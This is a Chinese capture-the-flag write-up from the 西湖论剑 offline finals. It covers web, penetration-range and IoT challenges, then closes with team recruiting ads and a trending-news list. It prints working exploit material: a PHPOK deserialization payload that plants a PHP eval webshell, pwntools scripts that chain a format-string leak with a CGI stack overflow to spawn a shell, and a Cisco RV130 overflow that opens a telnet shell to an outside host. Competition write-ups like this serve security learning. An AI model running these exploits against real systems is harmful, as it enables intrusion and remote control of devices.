西湖论剑线下-WriteUp
单点渗透web
| ZohoManager
解题思路
https://packetstormsecurity.com/files/164231/ManageEngine-OpManager-SumPDU-Java-Deserialization.html
msf用CVE-2021-3287直接打即可
| AlphaOKOK
解题思路
绕过死亡exit,反序列化写文件
参考
https://nikoeurus.github.io/2019/12/13/phpok-V5.3%205.4%E5%89%8D%E5%8F%B0getshell/#%E6%94%BB%E5%87%BB
第一步得到写文件的序列化payload
<?php
class cache
{
protected $key_id;
protected $key_list;
protected $folder;
public function __construct()
{
$this->key_id = "php://filter/write=convert.base64-decode/resource=somnus";
$this->folder = "";
$a = '<?php eval($_REQUEST["a"]);?>';
$this->key_list = "aa".base64_encode($a);
}
}
$c = new cache();
echo bin2hex(serialize($c));
然后直接
/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22sql%22%2c%22cache%22%3a%22false%22%2c%22sqlinfo%22%3a%22INSERT%20INTO%20qinggan_fields(%60id%60%2c%60ftype%60%2c%60title%60%2c%60identifier%60%2c%60field_type%60%2c%60note%60%2c%60form_type%60%2c%60form_style%60%2c%60format%60%2c%60content%60%2c%60taxis%60%2c%60ext%60%2c%60is_front%60%2c%60search%60%2c%60search_separator%60%2c%60form_class%60)%20VALUES(1%2c'21'%2c'text'%2c'pic'%2c'int'%2c'test'%2c'upload'%2c'test'%2c'safe'%2c'test'%2c20%2c0x4f3a353a226361636865223a333a7b733a393a22002a006b65795f6964223b733a35363a227068703a2f2f66696c7465722f77726974653d636f6e766572742e6261736536342d6465636f64652f7265736f757263653d736f6d6e7573223b733a31313a22002a006b65795f6c697374223b733a34323a22616150443977614841675a585a686243676b58314a465556564655315262496d456958536b37507a343d223b733a393a22002a00666f6c646572223b733a303a22223b7d%2c0%2c0%2c'test'%2c'test')%3b%22%7d%7d
再访问如下链接触发反序列化
/api.php?c=call&data=%7b%22m_picplayer%22%3a%7b%22type_id%22%3a%22fields%22%2c%22cache%22%3a%22false%22%2c%22site%22%3a1%2c%22pid%22%3a41%7d%7d最后去访问http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可
最后去访问
http://114.5.18.20/somnus.php?a=system(%27cat%20/flag%27);即可
DPR纵深渗透靶场
| 打击犯罪团伙复盘
解题思路
赛后复盘:
先放一个拓扑:
他的入口有两条第一条是一个叫phpok的cms,是一个反序列化的0day,因为官方最后放出了打了一点点码的poc,赛后回酒店也复现了下,照葫芦画瓢也不难分析出来,其实就是login这个控制器中的update方法中调用了decode,又在decode中进行了反序列化的操作,并且cache类中__destruct方法有写文件的操作。图中的那个Alphabug-Web就是部署了phpok的机器,并且是在docker中部署的,他的宿主机有一个文件读取的洞,可以读到储存在本机的redis的账号密码,连上的redis是root权限,所以可以直接拿下那个database。
第二个入口就是红包的这个站,入口点是一个后台上传页面,用这个cms的默认密码进后台即可,出题人在github上泄漏了这个cms的代码,或者也可以在源码中国找到。存在杀毒软件,简单绕过就可以,我们拿到这台机器的shell后,会在这个机器上发现sqlserver数据库的账号密码,我们用得到的sqlserver账号密码直接去连那个Teamserver,但是会有杀软要做一些绕过,TeamServer是用phpstudy搭建起来的,存在那个phpstudy后门,直接用这个也行
linuxA有个samba的rce,cve-2017-7494,攻击路线:samba getshell,利用docker挂载物理/home/目录到docker中,逃逸到物理机,(利用方法为,在home中发现jack用户,创建ssh证书,利用ssh证书登陆物理机,jack为低权限,进行提权)
拿下linuxA后,查看历史执行命令,会发现有:ssh jack@xxx.xxx.xxx.xxx,并且还会发现id_rsa的文件存在,所以可以ssh连到B,B上开了ftp服务和redis服务,可以直接匿名连上ftp,在里面会发现redis的账号密码等,得到账号密码后连接redis,会发现是root权限,利用redis提权,获取flag。
(以上为赛后复现)
IOT
| many cgi of lighttpd
解题思路
三个cgi文件,一个busybox具有telnet功能,可能是为了方便调试,或者是方便shell
在S98lighttpd 中有提示 需要了leak session.
Libc 有点新,需要使用21.04 以上的版本才好搭建调试环境
0x10 对cgi-bin进行分析
55.cgi 发现第一步进行了auth的检查
int __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // r0
void *ptr; // [sp+4h] [bp-18h]
int n; // [sp+8h] [bp-14h]
const char *v8; // [sp+Ch] [bp-10h]
char *v9; // [sp+10h] [bp-Ch]
const char *s1; // [sp+14h] [bp-8h]
if ( !sub_109F0(a1, a2, a3) ) // 检查auth
{
puts("No Authentication");
exit(1);
}
puts("Content-Type: text/plain\n");
s1 = getenv("REQUEST_METHOD");
if ( !strcmp(s1, "GET") )
{
v9 = getenv("QUERY_STRING");
sub_10B48(v9);
return 0;
}
if ( strcmp(s1, "POST") )
{
sub_10B48(0);
return 0;
}
v8 = getenv("CONTENT_TYPE");
if ( strcmp(v8, "application/x-www-form-urlencoded") )
{
printf("CONTENT_TYPE not supported now !");
return 0;
}
v3 = getenv("CONTENT_LENGTH");
n = atoi(v3);
if ( n <= 3316 && n >= 0 )
{
ptr = calloc(n + 1, 1u);
fread(ptr, 1u, n, (FILE *)stdin);
sub_10B48((char *)ptr);
free(ptr);
return 0;
}
printf("CONTENT_LENGTH not supported now !");
return -1;
}
63.cgi
int __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // r0
void *ptr; // [sp+4h] [bp-18h]
int n; // [sp+8h] [bp-14h]
const char *v7; // [sp+Ch] [bp-10h]
char *v8; // [sp+10h] [bp-Ch]
const char *s1; // [sp+14h] [bp-8h]
if ( !sub_108C8() ) // check auth
{
puts("No Authentication");
exit(1);
}
puts("Content-Type: text/plain\n");
s1 = getenv("REQUEST_METHOD");
if ( !strcmp(s1, "GET") )
{
v8 = getenv("QUERY_STRING");
sub_109E0(v8);
}
else if ( !strcmp(s1, "POST") )
{
v7 = getenv("CONTENT_TYPE");
if ( !strcmp(v7, "application/x-www-form-urlencoded") )
{
v3 = getenv("CONTENT_LENGTH");
n = atoi(v3);
ptr = calloc(n + 1, 1u);
fread(ptr, 1u, n, (FILE *)stdin);
sub_109E0(ptr);
free(ptr);
}
else
{
printf("CONTENT_TYPE not supported now !");
}
}
else
{
sub_109E0(0);
}
return 0;
}
index.cgi
int __fastcall main(int a1, char **a2, char **a3)
{
_DWORD *v4; // [sp+Ch] [bp-8h]
puts("Content-type: text/plain\r\n\r");
v4 = sub_115AC(); // 获取环境变量
sub_1253C((int)v4, (FILE *)stdout);
sub_120FC((int)v4);
return 0;
}
主要环境变量为:
.rodata:00012824 ; "SERVER_SOFTWARE"
.rodata:00012828 DCD aServerName ; "SERVER_NAME"
.rodata:0001282C DCD aGatewayInterfa ; "GATEWAY_INTERFACE"
.rodata:00012830 DCD aServerProtocol ; "SERVER_PROTOCOL"
.rodata:00012834 DCD aServerPort ; "SERVER_PORT"
.rodata:00012838 DCD aRequestMethod ; "REQUEST_METHOD"
.rodata:0001283C DCD aPathInfo ; "PATH_INFO"
.rodata:00012840 DCD aPathTranslated ; "PATH_TRANSLATED"
.rodata:00012844 DCD aScriptName ; "SCRIPT_NAME"
.rodata:00012848 DCD aQueryString ; "QUERY_STRING"
.rodata:0001284C DCD aRemoteHost ; "REMOTE_HOST"
.rodata:00012850 DCD aRemoteAddr ; "REMOTE_ADDR"
.rodata:00012854 DCD aAuthType ; "AUTH_TYPE"
.rodata:00012858 DCD aRemoteUser ; "REMOTE_USER"
.rodata:0001285C DCD aRemoteIdent ; "REMOTE_IDENT"
.rodata:00012860 DCD aContentType ; "CONTENT_TYPE"
.rodata:00012864 DCD aContentLength ; "CONTENT_LENGTH"
.rodata:00012868 DCD aHttpAccept ; "HTTP_ACCEPT"
.rodata:0001286C DCD aHttpUserAgent ; "HTTP_USER_AGENT"
.rodata:00012870 DCD aHttpCookies ; "HTTP_COOKIES"
暂时未发现可以泄漏session的地方,因此我们查看lighttpd的配置文件里有没有什么收获
0x20 conf.d lighted config
可以看到sesseion 是在/var/tmp/session 下,而web是在/var/www 目录下
这时假设我们可以穿越路径去读,那么我们请求
/../tmp/session -> /var/www/../tmp/session -> /var/tmp/session
就可以泄漏session 了,我们启动服务去调试一下,实际环境发现并不能泄漏成功
0x30 思路
通过目录穿越泄漏session
通过溢出去执行telnetd -l /bin/sh -p 6789
而这里我注意到system函数 存在在文件55.cgi 中 因此我们来重点分析这个文件
这里我们先猜测这三个文件分别对应处理的功能 主要依靠传入content_length 来判断长度
index.cgi 主要处理环境变量
55.cgi 漏洞点
63.cgi Welcome page
这里我们先看63.cgi 的主要函数
content_length 不受限
char *__fastcall sub_109E0(char *result)
{
if ( result )
{
result = strstr(result, "name=");
if ( result )
{
if ( result[5] )
return (char *)printf("Hello %s !\n", result + 5);
}
}
return result;
}
没什么异常,打印了一下Welcome
刚才看了一下提示,提示说是用格式化字符串泄漏uuid,因此分析错了
而程序里另一个函数引起了我的注意:开头的checkauth函数
int sub_108C8()
{
char s[20]; // [sp+0h] [bp-54h] BYREF
char s2[20]; // [sp+14h] [bp-40h] BYREF
char haystack[24]; // [sp+28h] [bp-2Ch] BYREF
char *format; // [sp+40h] [bp-14h]
char *v5; // [sp+44h] [bp-10h]
char *v6; // [sp+48h] [bp-Ch]
int v7; // [sp+4Ch] [bp-8h]
v7 = 0;
v6 = getenv("HTTP_COOKIES");
memset(s, 0, 0x11u);
sub_107E8(s);
if ( v6 )
{
memset(haystack, 0, 0x17u);
snprintf(haystack, 0x16u, "%s", v6);
v5 = strstr(haystack, "uuid=");
if ( v5 )
{
format = v5 + 5;
memset(s2, 0, 0x11u);
snprintf(s2, 0x11u, v5 + 5); // 格式话字符串,可以用来把s改掉或者泄漏出来
puts(s2);
if ( !strncmp(s, s2, 0x10u) )
return 1;
}
}
return v7;
}
这里可以看到加入我们输入Cookie:uuid=%s%s%s 执行到第二个snprintf的时候会出现snprintf(s2,0x11u,"%s%s")
然后puts(s2) 泄漏出uuid
接下来我们看一下55.cgi
0 < content_length < 0xcf4
char *__fastcall sub_10B48(char *result)
{
unsigned __int8 *content; // [sp+4h] [bp-D20h]
char v2[3316]; // [sp+Ch] [bp-D18h] BYREF
char *v3; // [sp+D00h] [bp-24h]
char *v4; // [sp+D04h] [bp-20h]
int v5; // [sp+D08h] [bp-1Ch]
int v6; // [sp+D0Ch] [bp-18h]
size_t n; // [sp+D10h] [bp-14h]
int v8; // [sp+D14h] [bp-10h]
int v9; // [sp+D18h] [bp-Ch]
char *s2; // [sp+D1Ch] [bp-8h]
content = (unsigned __int8 *)result;
s2 = "*#$^";
if ( result )
{
if ( !strncmp(result, s2, 4u) )
{
v9 = content[4];
v8 = content[5] + 2 * v9;
n = content[6] + 4 * v8;
v6 = content[7];
v5 = content[8] + 2 * v6;
memset(v2, 0, sizeof(v2));
memcpy(v2, content, n);
result = strstr(v2, "*#$^");
v4 = result;
if ( result )
{
v3 = &v4[v5 - 77];
if ( *v3 )
return (char *)sub_10AFC(v3, v5); // 猜测漏洞点在这里
// strncpy(dest,v3,v5) dest [752] = 0x2f8
// 0 < content_length < 0xcf4
}
}
else
{
result = strstr(v2, "ping");
if ( result )
return (char *)sub_109B0("20.21.2.26"); // system("/bin/ping -c 2 %s","20.21.2.26")
}
}
return result;
}
可以明显看出这里有点问题,因此我们的思路就明显很多了
构造出包
调用system("telnetd -l /bin/sh -p 6789")
0x40 构造溢出包
这里我们只需要构造content 发包为post
这里我们假设可以调试的话:我们应该先测试:63.cgi 根据他name的传递方式来确定我们这个包的传递方法
假设输入
*#$^AAAAAAAAAA
-> v9 = 0x41
-> v8 = 0x41 + 2 * 0x41
n = 0x41+4* v8 // 确定整个包的长度,因此要尽量确保他比较大
v6 = 0x41
v5 = content[8] + 2 * v6 // payload的位置,要尽量精确
v3 = &[v5-77]
根据这个思路我们来构造payload
这里有几个点需要注意:
Strncpy(dest, source, n) 由于我们要溢出dest,因此我们要保证n要足够大(最少要大于0x300左右 > 0x2f0)
第二我们就要控制source 位置在去除前4个字节后的第(payload_length - 77)假设payload_lenth = 0x2fd的话就是第688个字节以后的位置开始进行复制因此我们要填补的offset就是0x2fd - 77 - 5 然后在加上dest的大小0x2f0 后面跟payload就可以了
length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
payload ="*#$^(length_part1)(length_part2)(length_part3)(content_length_part1)(content_length_part2)('A'*(0x2fd - 77 - 5))+('B'*0x2f4 + payload)"
n = lenth_part3 + 4 * (length_part2 + 2 * length_part1) #3315
payload_length = content_length_part2 + 2 * content_length_part1 # 0x2fd
包构造完了之后我们就要考虑利用的问题了,由于我们大概率只能覆盖一个地址,因此我们就要想办法把commend 的位置控制好,我们发现
.text:000109D4 SUB R3, R11, #-s
.text:000109D8 MOV R0, R3 ; command
.text:000109DC BL system
就可以等调试看看能不能利用成功了
没办法调试,但我脑子过了一遍
.text:00010B24 LDR R2, [R11,#n] ; n
.text:00010B28 SUB R3, R11, #-dest
.text:00010B2C LDR R1, [R11,#src] ; src
.text:00010B30 MOV R0, R3 ; dest
.text:00010B34 BL strncpy
MOV R0, R3 ; dest
执行过后 R0中应该还是是第二段payload
因此我们返回到0x000109DC 直接Call system估计就行
POC:
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
import requests as rq
context.log_level="debug"
request_url = "http://127.0.0.1:80/55.cgi"
headers_for_get_uuid = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
# 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
"Cookies":"%s%s%s"
}
res = rq.post(request_url,headers = headers_for_get_uuid)
log.info("res: "+res)
# get_uuid
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
# 替换掉这里的uuid
"Cookies":"uuid=aaaabbbbccccdddd"
}
commend = "& telnetd -l /bin/sh -p 6789 ;"
system = 0x000109DC
length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust('B',0x2f4)
payload += p32(system)
n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd
log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
rq.post(request_url,headers = headers ,data=payload)
0x40 调试
这里我们应该使用qemu-system去调试或者修改东西来调试
可以看到是小端序,泄漏出来的地址从后往前数
假设我们栈情况:
char s[20]; // [sp+0h] [bp-54h] BYREF //我们要泄漏的东西 长度为0x10
char s2[20]; // [sp+14h] [bp-40h] BYREF
char haystack[24]; // [sp+28h] [bp-2Ch] BYREF // uuid 12 =aaa 13 b%7$p 14
char *format; // [sp+40h] [bp-14h] // format位置 现在测试出为第7个即:%7$p
char *v5; // [sp+44h] [bp-10h]
char *v6; // [sp+48h] [bp-Ch]
int v7; // [sp+4Ch] [bp-8h]
我们先泄漏一下haystack来进行测试我们的计算:
haystack = (0x2c - 0x14) / 4 = 6
因此format 应该等于 7+6 = 13
突然发现可以单独启动cgi来调试
export HTTP_COOKIES=uuid=%2\$p // 注意转义$
export REQUEST_METHOD=POST
export CONTENT_TYPE=application/x-www-form-urlencoded
export CONTENT_LENGTH=10
export QUERY_STRING=name=F0und
qemu-arm -L /usr/arm-linux-gnueabi -g 1234 63.cgi
根据刚才我们的推测可以判断session的偏移是%2$p-%5$p 且session不变,因此我们只要请求四次就可以泄漏session了
调试后可以看到没有问题
那么我们的第一段POC:
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
import requests as rq
context.log_level="debug"
def leak_session(format):
request_url = "http://127.0.0.1:80/55.cgi"
headers_for_get_uuid = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
# 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
"Cookies": "uuid="+format
}
res = rq.post(request_url,headers = headers_for_get_uuid)
log.info("res: "+res.text)
for i in range(2,6):
leak_session("%"+str(i)+"$p")
接下来就可以来调试栈溢出了
这部分由于我们的payload是要入才行,因此我们需要像这么输入:
echo "name=F0und" | qemu-arm -L /usr/arm-linux-gnueabi 63.cgi
我们简单写个脚本来生成调试用的payload
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
commend = "& telnetd -l /bin/sh -p 6789 ;"
system = 0x000109DC
length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f4,"b")
payload += p32(system)
n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd
with open("shellcode","w") as f:
f.write(payload)
f.close()
log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload))) #content_length 1452
# break point 0x00010C84
# 0x00010B34
可以发现应该是溢出成功了,我们来调试一下看看
可以看到写入成功
调试一下偏移发现system = 0x00010BB0 也就是返回到第二个函数这里可以拿到shell
.text:00010B90 SUB R3, R3, #4
.text:00010B94 LDR R1, =aPing ; "ping"
.text:00010B98 MOV R0, R3 ; haystack
.text:00010B9C BL strstr
.text:00010BA0 MOV R3, R0
.text:00010BA4 CMP R3, #0
.text:00010BA8 BEQ loc_10CCC
.text:00010BAC LDR R0, =a2021226 ; "20.21.2.26"
.text:00010BB0 BL sub_109B0
.text:00010BB4 B loc_10CCC
POC2:
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
#remote
#commend = "; telnetd -l /bin/sh -p 6789 ;"
commend = ";/bin/sh;"
system = 0x00010BB0
length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5 - 4
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f8,"b")
payload += p32(system)
n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd
with open("shellcode","w") as f:
f.write(payload)
f.close()
log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload)))
0x50 Final EXP
#!/usr/bin/env python
#-*-coding:utf-8-*-
from pwn import *
import requests as rq
context.log_level="debug"
def leak_session(format):
request_url = "http://127.0.0.1:80/55.cgi"
headers_for_get_uuid = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
# 这里需要调试出偏移来泄漏uuid或者直接把uuid改了
"Cookies": "uuid="+format
}
res = rq.post(request_url,headers = headers_for_get_uuid)
log.info("res: "+res.text)
# leak session
for i in range(2,6):
leak_session("%"+str(i)+"$p")
## get shell
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36",
"Content-Type":"application/x-www-form-urlencoded",
# 替换掉这里的uuid
"Cookies":"uuid=aaaabbbbccccdddd"
}
commend = ";/bin/sh;"
system = 0x00010BB0
length_part1 = p8(0xff)
length_part2 = p8(0xff)
length_part3 = p8(0xff)
content_length_part1 = p8(0xff)
content_length_part2 = p8(0xff)
offset = 0x2fd - 77 - 5 - 4
payload ="*#$^"+length_part1+length_part2+length_part3+content_length_part1+content_length_part2+ 'A'* offset
payload += commend.ljust(0x2f8,"b")
payload += p32(system)
n = ord(length_part3) + 4 * (ord(length_part2) + 2 * ord(length_part1)) #3315
payload_length = ord(content_length_part2) + 2 * ord(content_length_part1) # 0x2fd
log.info("package_length: "+hex(n))
log.info("strncpy_n_length: "+hex(payload_length))
log.info("payload_length: "+str(len(payload)))
rq.post(request_url,headers = headers ,data=payload)
| no more time
解题思路
通过题目的描述可知道直接短接pd2即可
找到原理图上的pd2,那镊子一头接pd2一头接地,用串口连接工具连接后,即可打印flag
| XH-Link
解题思路
进入logs_download,命令截断来执行sh。
两次输入v3实现;sh;
| qtmm
解题思路
nc连接下发现是MQTT协议
通过现学发现需要发布和订阅,这里 topic:2022/hatlab/getflag一直在发信息,所以尝试发布信息
尝试了多次发布,最终找到了有用的两条命令
mosquitto_pub.exe -h "114.5.18.26" -t "2022/hatlab/getflag" -m "oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA="
mosquitto_pub.exe -h "114.5.18.26" -t "2022/hatlab/flag" -m "oiU7m9ipyqFdzkUFb1vfkabZ7IqiAefslrc3ovql2dA="
| Base64
解题思路
这道题目是这场比赛唯一没上lockbit的,可以直接提取固件,这次比赛的板子波特率都是112500
用usp-isp然后拿FPC转接板对照原理图,在对应端口连一下,用avrdude提取芯片然后进行avr逆向,会发现base64码表被改动了,用他的base64码表去解码串口出来的那串字符就可以解出flag,串口出口的字符就是被加密了的字符
ps:板子的账号root密码771c34d4f304fbc3
虚实结合
| 扫地机器人
解题思路:
通过联系CVE-2021-1602和CVE41773 利用前者的攻击手法和后者的RCE思路,拿下A路由器权限,比赛时我选择了打/download/dniapi/,用Authorization: Basic 来发攻击命令,但是不知道为什么没有成功回显,赛后线下交流会时,通过大佬的讲解,我发现大概自己时echo漏了或者在借助目录穿越去调用/bin/sh/的时候存在了问题,千里之堤,毁于蚁穴,在这里耽误了太多时间。
然后连上B路由器进行攻击,RV130的POC比较多,随便一个CVE-2021-30xxxx的似乎都可以打下来
#!/usr/bin/python
import requests
from pwn import *
context.log_level=logging.DEBUG
context(arch='arm',os='linux',endian='little')
url = "https://192.168.1.1/guest_logout.cgi"
# padding to 0xa9aed + 0x23 and then next instructon starts at 0xa9b10
system_arg_addr = 0xa9b10
jmp_target = 0xa9ba8
padding = b'x'*0x23
cmd = b"telnet 192.168.1.101 4444 | /bin | telnet 192.168.1.101 5555\n"
payload = padding + cmd
payload = payload.ljust(cyclic_find("abma")+3*8+4,b'x')
# pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
# payload += b'1234' * 8
payload += p32(0x35849144)
payload += p32(jmp_target)
payload += b'x' * 5
'''
0x35849144
'''
shellcode= '''
mov r0,pc
sub r0,r0,#0xa0
push {r11}
pop {pc}
'''
shellcode = asm(shellcode)
payload += shellcode
payload = {
"cmac":"12:af:aa:bb:cc:dd",
"submit_button":b"status_captive.asp"+payload,
"cip":"192.168.1.100"
}
requests.post(url, data=payload, verify=False, timeout=1)
关于该路由器详细了解可以看我们以前的文章RV110W路由器漏洞复现 (qq.com)
最后一关机器人,此处不方便详细讲解。总之通过扫描端口就可以找到扫地机器人在6789端口,然后去固件分析这个端口位置,然后发现漏洞就可以进行攻击
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 澳门是伟大祖国的一方宝地 7938471
- 2 女法官遇害案凶手被判死刑 7931081
- 3 日本火山喷发灰柱高达3400米 7869509
- 4 中国为全球经济增长添动能 7777234
- 5 肖战新片射雕英雄传郭靖造型曝光 7615970
- 6 大三女生练咏春一起手眼神骤变 7506103
- 7 #马斯克对特朗普政府影响有多大# 7441368
- 8 男子钓上一条自带“赎金”的鱼 7378118
- 9 赵丽颖带儿子探班 7258790
- 10 女子穿和服在南京景区拍照遭怒怼 7134733